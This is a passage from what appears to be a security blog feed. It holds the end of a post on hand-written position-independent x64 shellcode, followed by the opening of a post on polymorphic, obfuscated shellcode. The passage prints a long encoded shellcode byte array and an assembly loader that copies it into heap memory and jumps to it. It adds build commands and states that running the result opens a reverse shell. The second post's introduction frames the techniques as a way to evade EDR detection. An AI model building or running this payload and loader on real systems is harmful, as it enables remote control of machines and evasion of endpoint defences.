<span class="kd">db</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span><span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span>
<span class="no">encoded_shellcode_total</span><span class="kd"> equ</span> <span class="kc">$</span> <span class="o">-</span> <span class="nv">encoded_shellcode</span>

<span class="nf">section</span> <span class="nv">.data</span> 

<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>

<span class="c1">; both of these are conveniently in kernel32.dll ;)</span>
<span class="nf">extern</span> <span class="nv">HeapCreate</span>
<span class="nf">extern</span> <span class="nv">HeapAlloc</span>

<span class="nl">main:</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span>
	
<span class="nf">xor</span>  <span class="nb">r8d</span><span class="p">,</span><span class="nb">r8d</span>  
<span class="nf">xor</span>  <span class="nb">edx</span><span class="p">,</span><span class="nb">edx</span>  
<span class="nf">mov</span>  <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x40000</span>  
<span class="nf">call</span> <span class="nv">HeapCreate</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">],</span> <span class="nb">rax</span>
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">72</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
	
<span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span><span class="mi">8</span>  
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span><span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">-</span> <span class="mi">72</span><span class="p">]</span>  
<span class="nf">call</span> <span class="nv">HeapAlloc</span>
<span class="nf">push</span> <span class="nb">rax</span>
<span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; memory address of mapped region of memory</span>
	
<span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span>
<span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="nb">rdx</span> <span class="c1">; save for later</span>
<span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
	
<span class="nl">chunk_reader:</span>
    
<span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="kt">byte</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rdx</span><span class="p">],</span> <span class="nb">al</span>
<span class="nf">inc</span> <span class="nb">rsi</span>
<span class="nf">test</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
<span class="nf">jz</span> <span class="nv">final</span>
<span class="nf">inc</span> <span class="nb">rdx</span>
<span class="nf">loop</span> <span class="nb">ch</span><span class="nv">unk_reader</span>
    
<span class="nl">final:</span>
<span class="nf">jmp</span> <span class="nv">r14</span>
</code></pre></div></div>

<p>For now, we have to compile this into a PE executable to run it as it’s not ready to be compiled into shellcode just yet.  Soon though :)  Here’s how you can accomplish that.  I use the ld.exe linker on windows.  You can do this on Linux too if you like.  You’ll want to download mingw64 first too of course.  You can download the exact version of mingw64 I use here:</p>

<p><a href="https://github.com/brechtsanders/winlibs_mingw/releases/download/14.2.0posix-19.1.1-12.0.0-ucrt-r2/winlibs-x86_64-posix-seh-gcc-14.2.0-llvm-19.1.1-mingw-w64ucrt-12.0.0-r2.zip">mingw64</a></p>

<p>the LD.exe linker executable will be located in the extracted BIN subdirectory: C:\mingw64\bin</p>

<p>Finally, here’s the command to compile our full source code above:
<strong>ld.exe -m i386pep -LC:\mingw64\x86_64-w64-mingw32\lib -o mem_mapper_pic.exe mem_mapper_pic.obj -lkernel32</strong></p>

<p>Run the above compiled .exe and you should get your reverse shell on 127.0.0.1 port 9001.  feel free to change the shellcode if you like.  I encoded mine but you can also use msfvenom to insert your own custom shellcode too!  Consider it a homework exercise 😺</p>

<p>Okay that’s a wrap for Part 1.  Stay tuned for Part 2, and as always thanks for reading and I hope this was helpful and insightful.</p>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode" /><category term="PIC" /><category term="x64 assembly" /><category term="2025" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="PIC shellcode" /><summary type="html"><![CDATA[Have you ever wondered how the popularized PIC (position independent code) actually works? I can answer that question alongside you with a resounding YES! You are exposed to PIC based shellcode constantly in today’s widely used C2 platforms. Then there’s the popular donut utility, which can convert .NET assemblies to PIC friendly shellcode. But what about from scratch, and I mean producing a template in C++ and then wrtiting x64 assembly code modeled after your C++ program? Also why should we? Well, while I admit I can’t find many tutorials for writing PIC from scratch, I found a plethora of definitions and explanations for what PIC accomplishes. I don’t want to reinvent the wheel too much here, so suffice to say, here are the advantages of using PIC in my mind. I’ll also include frustrations in the opinion of yours truly. 😸]]></summary></entry><entry><title type="html">Let’s Create Some Polymorphic PIC Shellcode!</title><link href="https://g3tsyst3m.com/shellcode/pic/Let's-Create-Some-Polymorphic-PIC-Shellcode!/" rel="alternate" type="text/html" title="Let’s Create Some Polymorphic PIC Shellcode!" /><published>2025-10-19T00:00:00+00:00</published><updated>2025-10-19T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode/pic/Let&apos;s%20Create%20Some%20Polymorphic%20PIC%20Shellcode!</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode/pic/Let&apos;s-Create-Some-Polymorphic-PIC-Shellcode!/"><![CDATA[<p>Alright I’ll admit I’m pretty pumped for today’s post 😸  Shellcode and x64 Assembly are one of my favorite topics to cover.  I don’t know why, but something about assembly and shellcode fascinates me.  I don’t know if it’s the fact that I feel extremely accomplished after producing custom shellcode/x64 assembly, or just because it’s so clean &amp; efficient, or it’s evasive capabilities?  I’m not sure.  But all of those factors certainly contribute to it’s appeal as far as I’m concerned.  In today’s post, we’re going to cover quite a bit of ground, so buckle up!  I’m going to go over various way to encode your shellcode, obfuscate it, turn it into the popular alpha-mix character format, and of course make it polymorphic.  What do I mean exactly when I say polymorphic?  Well, in short, I just mean the shellcode will be uniquely different every single time it’s built and ran.  In essence, it will never have a common file signature.</p>

<p>First off, let’s start with our x64 assembly code.  I’m doing things a bit differently this time around.  I’m going to first locate the Thread Environment Block, and <strong>THEN</strong> get the PEB, next we get kernel32 base address, and <strong>FINALLY</strong> execute the ever-ubiquitous windows calculator 😸  This is honestly good practice to get into folks.  You don’t want to always have to rely on msfvenom to generate your shellcode for you for your red team engagements.  Even when encoding msfvencom generated shellcode, EDR in memory scanners can still easily detect it.  It’s terribly predictable.  I HIGHLY encourage you to create your own shellcode.  With today’s post, we not only will be coding custom assembly/shellcode, but then encoding it and making it to where it’s always different.  You’ll see what I mean later on into the post, I promise!</p>

